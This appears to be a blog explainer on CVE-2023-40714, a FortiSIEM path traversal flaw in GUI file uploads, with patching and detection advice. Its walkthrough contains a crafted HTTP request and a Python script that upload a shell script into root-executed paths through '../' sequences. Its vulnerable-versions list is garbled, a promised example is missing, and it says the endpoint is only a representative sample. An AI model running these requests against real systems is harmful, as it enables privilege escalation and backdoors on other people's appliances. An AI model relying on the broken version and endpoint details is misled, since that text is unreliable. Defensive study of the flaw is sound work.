In September 2023, Fortinet published a security advisory for a newly discovered vulnerability: CVE-2023-40714. This bug affects several versions of FortiSIEM—Fortinet’s security information and event management platform—and exposes enterprises to a dangerous path traversal attack that could lead to privilege escalation.

If you’re responsible for securing Fortinet gear, or just fascinated by how these attacks work, this post explains CVE-2023-40714 in simple language, shows how it’s exploited, and points to additional resources for patching and defense.

What Is Path Traversal?

Path traversal, sometimes called directory traversal, is a technique hackers use to access files and directories outside the intended web root folder. By manipulating file paths (often with sequences like ../), an attacker can “traverse” the directory tree and access files that should be off-limits.

Normally, software should sanitize any file paths received from users to prevent this behavior. If not, it’s possible to upload or retrieve files where the application never intended.

Vulnerable Versions

According to Fortinet’s advisory, the following versions of FortiSIEM are vulnerable:

- 7..

6.5.1, 6.5.

If you run any of these, you must upgrade immediately.

How Does CVE-2023-40714 Work?

The bug relates to how FortiSIEM’s GUI module handles file uploads. Certain REST API endpoints let users upload files needed for the graphical user interface. Unfortunately, these upload features don’t properly validate user-supplied file paths, which lets attackers traverse the file system using relative paths.

A malicious, authenticated user (often a low-privileged account or even a compromised hardcoded user) can upload a file outside the intended directory by crafting a POST request with relative path specifiers such as ../../:

Or even drop a file to a location that gets executed with elevated privileges.

The ultimate risk: full privilege escalation on the FortiSIEM appliance.

Walkthrough: Example Attack

Here’s a barebone example of how this attack might look. Suppose FortiSIEM allows uploading an icon image for a custom widget with the following request:

POST /phoenix/rest/public/gui/image/uploadImage.json HTTP/1.1
Host: fortisiem.local
Authorization: Bearer <your_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="icon"; filename="myicon.png"
Content-Type: image/png

<your PNG file here>
------WebKitFormBoundary
Content-Disposition: form-data; name="dest"

../../../../../../opt/superuser/scripts/malicious.sh
------WebKitFormBoundary--

In the snippet above

- We exploit the lack of path sanitation by specifying an upload destination with ../../ sequences.
- Instead of uploading an icon to the GUI’s images folder, we traverse up the directory tree and place our file (which could be a shell script or web shell) somewhere critical on the filesystem.

If that location is executed by a higher-privileged user (e.g., root), your code runs as root.

Note: The specific endpoint or parameter may differ per version and deployment. This is a representative sample.

Let’s automate the attack using Python’s requests

import requests

url = "https://fortisiem.local/phoenix/rest/public/gui/image/uploadImage.json";
headers = {
    "Authorization": "Bearer <your_token>"
}
files = {
    "icon": ("shell.sh", b"#!/bin/bash\nid > /tmp/pwned", "application/x-sh"),
    "dest": (None, "../../../../../../../usr/local/bin/myshell.sh")
}

resp = requests.post(url, headers=headers, files=files, verify=False)
print(resp.text)

If successful, myshell.sh is now uploaded to /usr/local/bin and can be executed by an admin or a scheduled task.

The danger of such vulnerabilities

- Privilege escalation: An attacker who can upload files outside the web root can overwrite scripts run by root or other privileged users.

Backdoors: Attackers can install persistent web shells.

- Lateral movement: With root-level access, an attacker can access logs, credentials, or pivot to other internal systems.

How to Protect Yourself

1. Patch Immediately: Fortinet has issued updates that block this path traversal. Reference their Fortinet PSIRT advisory for the fixed versions.
2. Restrict Access: Limit who can interact with the GUI upload endpoints, especially from untrusted networks.
3. Audit logfile: Review upload logs for suspicious path characters (../).
4. WAF/Proxy Rules: Block upload requests with suspicious “dest” filenames or directory traversal strings.

- Fortinet Security Advisory - FG-IR-23-237
- NIST NVD: CVE-2023-40714
- Path Traversal 101 (OWASP)

Final Thoughts

CVE-2023-40714 shows how powerful and dangerous path traversal bugs can be in modern security tools. Upload vulnerabilities are especially serious in SIEM systems, which have access to wide-reaching logs and credentials. Always keep your appliances up to date, restrict access to sensitive features, and monitor file uploads for abuse patterns.

Stay patched and stay safe!

*This article is an exclusive breakdown and original content based on public advisories and demonstration practices. Always test in lab environments and never attack systems without permission.*

Timeline

Published on: 04/02/2025 08:15:13 UTC
Last modified on: 04/02/2025 14:58:07 UTC